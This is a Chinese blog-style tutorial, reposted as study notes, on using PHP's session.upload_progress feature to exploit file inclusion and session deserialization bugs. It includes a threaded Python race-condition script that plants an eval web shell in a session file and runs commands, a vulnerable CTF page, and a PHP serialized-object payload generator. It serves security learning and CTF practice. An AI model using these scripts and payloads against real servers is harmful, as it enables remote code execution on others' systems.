目录
利用session.upload_progress 进行文件包含利用。
利用session.upload_progress进行反序列化攻击
前言:
转载一篇 好文章,写在这里,就当作自己的笔记啦。
利用PHP中的session.upload_progress 功能作为跳板,从而进行文件包含和反序列化。
php中的session.upload_progress
这个功能在php5.4以上能够利用。
在 php.ini 有以下几个默认选项。
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"
只需要了解前四个配置:
enabled=on 表示 upload_progress 功能开始,意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间)储存在session 中;
cleanup= on 表示当文件上传结束后,php 将会立刻清空文件当中的内容。这选项很重要。
name当他出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
prefix + name 将表示为 session 中的键名 。
session相关配置及session 反序列化。
------
另外 session配置中还有一个重要选项。
session.user_strict_mode = off 这个选项默认为off , 表示我们对 Cookie 中 sessionid 可控。这一点相关重要。
利用session.upload_progress 进行文件包含利用。
环境:
php 7.3
win10
实例代码:
<?php
$b=$_GET['file'];
include "$b";
?>
存在一个文件包含漏洞,但是找不到一个可以包含的恶意文件,我们可以利用session.upload_progress将 恶意语句写入 session文件,从而包含session 文件。前提是要知道session 文件的存放位置。
分析:
问题一:
代码里 没有session_start(),如何创建 session文件?
解答一:
其实,如果 session.auto_start=On,则php 在接收请求的时候会自动初始化session,不需要再执行session_start()。但默认情况下,这个选项是关闭的。
但session还有一个默认选项,session.user_strict_mode(严格会话模式)默认值为0(关闭),此时用户是可以定义自己的 session ID 的。比如,我们在Cookie 中设置 PHPsessid = snowy 那么php将会在服务器创建一个文件:/tmp/sess_snowy . 即使用户没有初始化session,php也会自动初始化session 并产生一个键值,这个键值有 ini.get("session.upload_progress.prefix") + 由我们构造的seesion.upload_progress值组成,最后被写入sess_文件里。
问题二:
如果默认配置 session.upload_progress.cleanup = on 启用了文件上传后,session 文件内容立刻清空, 该 如何 RCE呢?
解答二:
此时可以使用条件竞争,在session 文件内容清空前进行包含利用:
脚本:
#coding=utf-8
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('whoami');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://127.0.0.1:5555/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in xrange(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in xrange(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
本地测试一下。
直接给我环境跑炸了,,,,
CTF题目
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
在代码前几行可以看到,场景和前面的示例代码类似,只不过对变量$file
加了过滤,不过没什么影响。
利用思路一样,这里就不再说了,网上也有相应的解法。
利用条件:
1. 存在文件包含漏洞
2. 知道session文件存放路径,可以尝试默认路径
3. 具有读取和写入session文件的权限
利用session.upload_progress进行反序列化攻击
示例代码
<?php
error_reporting(0);
date_default_timezone_set("Asia/Shanghai");
ini_set('session.serialize_handler','php');
session_start();
class Door{
public $handle;
function __construct() {
$this->handle=new TimeNow();
}
function __destruct() {
$this->handle->action();
}
}
class TimeNow {
function action() {
echo "你的访问时间:"." ".date('Y-m-d H:i:s',time());
}
}
class IP{
public $ip;
function __construct() {
$this->ip = 'echo $_SERVER["REMOTE_ADDR"];';
}
function action() {
eval($this->ip);
}
}
?>
分析:
问题一:
整个代码没有参数可控的地方,该通过什么方法来进行反序列化利用呢?
解答一:
这里,利用PHP_SESSION_UPLOAD_PROGRESS 上传文件,其中利用文件名可控,从而构造恶意序列化语句,写入session文件。
另外,与文件包含利用一样,需要竞争
利用脚本:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class Door{
public $handle;
function __construct() {
$this->handle = new IP();
}
function __destruct() {
$this->handle->action();
}
}
class TimeNow {
function action() {
echo "你的访问时间:"." ".date('Y-m-d H:i:s',time());
}
}
class IP{
public $ip;
function __construct() {
//$this->ip='payload';
$this->ip='phpinfo();';
//$this->ip='print_r(scandir('/'));';
}
function action() {
eval($this->ip);
}
}
$a=new Door();
$b=serialize($a);
$c=addslashes($b);
$d=str_replace("O:4:","|O:4:",$c);
echo $d;
?>
这里 不细说了 想要了解的 看下这篇文章: